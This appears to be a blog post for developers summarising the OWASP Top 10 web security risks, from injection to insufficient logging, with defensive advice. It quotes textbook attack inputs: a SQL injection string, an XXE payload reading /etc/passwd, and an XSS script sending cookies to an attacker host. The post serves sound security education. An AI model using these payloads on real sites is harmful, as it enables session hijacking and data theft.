Top 10 most critical Web Application Security risks

When developing web applications, one of the first tasks that raise in a backlog is making this application secured. And this can be easily explained – web application exposes data to the whole world and everyone can access it within a moment via the Internet. There is nothing really to think about when the web application is a simple set of public static pages with static data which is available for everyone. But, when there comes a need to limit access to particular resources for some group of people, when the data exposed by web application is a highly sensitive private data, the security aspect of application implementation becomes a top priority.

The most famous and widely used approach to secure a web application is to have a so called “Login page” where the user can enter login and password to specify their identity. And then, basing on this identity the user may or may not be authorized to get access to certain resources or data. This security paradigm is straightforward, it has long history and there is a huge amount of frameworks implemented for different programming languages to easily add Login-Password authentication to web applications.

However, the web application security topic is far deeper than simple authentication. There are many aspects which should be considered when building really secured systems. And in this article I would like to highlight these aspects by reviewing OWASP – Open Web Application Security Project and TOP-10 most critical and wide-spread web application security vulnerabilities which are described by this project.

There were several releases of the OWASP TOP-10 list already, the last one was in 2013. But here I would like to go through the version which is not release yet, but is on a General Master stage, so to be released soon. I will not describe in details each vulnerability here – you can always get comprehensive report from OWASP Top-10 official resource. I would like to just mention each of them with brief introduction, example and what to pay attention for.

A1:2017 – Injection

If the application consumes some data from outside its is potentially vulnerable to “Injection” attacks. The meaning of “data from outside” is quite wide. This can be any user input, any HTTP requests with incoming parameters, environment configuration, accepting data from external resources or services.

If this external data is processed or interpreted by the application anyhow, injection flaws occur when attacker can send hostile data. And this data can be consumed not “as it is”, as pure text, or binary stream but as some undesirable command or operation which will be executed inside the application.

As an example, there can be mentioned the most common developers’ mistake  when they pass some data from outside directly as SQL statement parameters:


String query = "SELECT * FROM accounts WHERE customerId='" + request.getParameter("id") + "'"

Is this case, the attacker can modify the ‘customerId’ parameter value in their browser to send: ‘ or ‘1’=’1. For example:


HTTP GET example.com/app/accountView?id=' or '1'='1

This change will make query to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

 A2:2017 – Broken authentication

Generally, this category of vulnerabilities is about gaps or issues in your application which allow or simplify malicious authentication. The simplest example here may be the case when application allows users to have simple passwords, like pwd123, qwerty, etc. And the advise here would be to apply rules for password complexity and regular rotation, implement multi-factors authentication where possible.

More advises for authentication protection are:

  • Don’t deliver application with some default credentials, especially for admin user.
  • Apply mechanisms which will prevent automatic login attempts, brute force attacks.
  • Log all authentication failures and create admin alerts for any such case. Lock the user after several failed login attempts or increase delay between each login attempt.
  • Use a secured server-side session manager. Session IDs should be securely stored. And session timeout should be configured properly.
  • Do not keep credentials “as they are” and in poorly secured storage.

A3:2017 – Sensitive data exposure

If your application contains any kind of sensitive data, especially if that data falls under privacy laws or regulations, you should carefully check the following:

  • Is this data is transmitted over the Internet in an open way. Which protocol is used, HTTP, FTP, SMTP, etc
  • Is sensitive data in your application (including back-ups, logs) stored in an open or encrypted state
  • Are any old or weak encryption algorithms used by your application
  • Is data encryption not enforced when storing or transmitting

Generally, you should understand and always remember, that, if your application stores or processing legally critical data, like financial information, health records, personal information, you should seriously work-out and apply all best practices for secured data storage and data transmission.

A4:2017 – XML external entities

This is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML standard defines a concept called “an entity”, which is a storage unit of some type. Among different types of entities, there is one called “external entity”, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be accessed by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents. If the system identifier contains tainted data and the XML processor retrieves this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schema, etc. which, when included, allow similar external resource inclusion style attacks.

The simplest example here may be the attack which attempts to disclose the contents of the passwd file:


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

The advises to prevent this may be the following:

  • Use more simple data formats were possible, for example JSON
  • Upgrade the XML processor and libraries used by application or operating system
  • Verify that XML upload functionality validates the incoming XML

A5:2017 – Broken access control

This vulnerability is about not properly implemented restrictions on what authenticated used are allowed to do.

There are two areas which should be checked in this concern:

  1. Whether the data retrieval API allows to expose the data which should not be available for particular authenticated user.
  2. Whether there are URLs which are not exposed to the users via web application, but still exist (for example, URLs which are created for some administrative purposes)

For the first area, suppose, there is a User Details resource, which allows the user view his/her details:


http://example.com/app/accountInfo?id=<id_of_current_user>

What if user will modify this URL manually to specify different id:


http://example.com/app/accountInfo?id=<id_of_some_other_user>

System should not allow to access the data in such case.

For the second area, assume that there was implemented the temporary end-point allowing to get the list of all users in the system:


http://example.com/app/temp/allUsers

This URL is not available via web application, but still it is possible to execute it by triggering a HTTP request. So you should make sure that this resource is properly secured via authentication and authorization and not available for anonymous clients.

A6:2017 – Security misconfiguration

This is a common issue for applications which are moving from development and testing stages to production. From the development time there might left some default credentials, some test or admin pages exposing sensitive data.

Also, this is about situations when directory and file listings are not disabled on the server. An attacker can discover the file system to learn implementation details and gaps in application configuration.  By this way, serious access control flaw in the application can be identified and used. The same is about error messages produced by application and which expose implementation details – these details can be abused by attacker.

And the third area for this group of vulnerabilities is a misconfiguration of application servers or cloud services. This topic is quite huge and specific, so should be additionally worked-out by experienced DevOps engineers.

A7:2017 – Cross-site scripting (XSS)

There are three groups of XSSs, usually targeting users’ browsers:

Reflected XSS: The application includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute some HTML or JavaScript in the victim’s browser.

Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.

DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application should not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:


(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:


'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

A8:2017 – Insecure deserialization

Application and API may be considered vulnerable here if they deserialize objects which come from non-trusted source and may potentially be supplied by attacker.

Serialization may be used in applications for:

  • Remote- and inter-process communication (RPC/IPC)
  • Wire protocols, web services, message brokers
  • Caching/Persistence
  • Databases, cache servers, file systems
  • HTTP cookies, HTML form parameters, API authentication
    tokens

For such cases the attacker may modify application logic to make influence on behavior and data or perform access-control-related attacks, where existing data structures are used but the content is changed.

The only safe architectural pattern to prevent this kind of vulnerability is not to accept serialized objects from untrusted sources or to use serialization mediums
that only permit primitive data types.

There exist other specific approaches like integrity checks, proper logging and monitoring, code isolation, etc. But they should be considered additionally and more widely.

A9:2017 – Using components with known vulnerabilities

The application should be considered vulnerable to such kind of risks if:

  • The versions of all components which are use (both client-side and server-side) are not known.
  • Software is vulnerable, unsupported, or out of date. This includes the OS,  web/application server, database management system, applications, APIs and all components, runtime environments, and libraries.
  • The underlying platform, frameworks, and dependencies are not getting updated regularly. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
  • Software developers do not test the compatibility of updated,
    upgraded, or patched libraries

The main advises for this case may be the following:

  • Try to use libraries or components only from trusted vendors. Of course, sometimes some unknown guys deliver brilliant frameworks or algorithms, but more likely their deliveries will contain hidden bugs and vulnerabilities.
  • Remove unused dependencies, unnecessary features, components, files, and documentation.
  • Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.
  • Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If you use such kind of component, consider and develop a plan to replace them as soon as possible.

Every organization must ensure that there is an ongoing plan for monitoring and applying updates or configuration changes for the lifetime of the application or portfolio.

A10:2017 – Insufficient logging and monitoring

The name of this vulnerability risk is quite self-explanatory. I would like to just provide several advises related to it:

  • Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed analysis.
  • Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
  • Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
  • Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.

Final word

This was a brief introduction to 10 most critical web applications security risks. If you are serious about securing your application, you should work them out deeply, consider different aspects of each vulnerability, use professional analysis tools and, if possible, invite a security consultant to do the job.

The are, of course, other known security risks after these 10 (see here). And they should also be considered depending on your application specifics and level of sensitivity of data and flows.

And, if you have any questions or would like to discuss this topic further, feel free to contact me. I am always open for cooperation.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s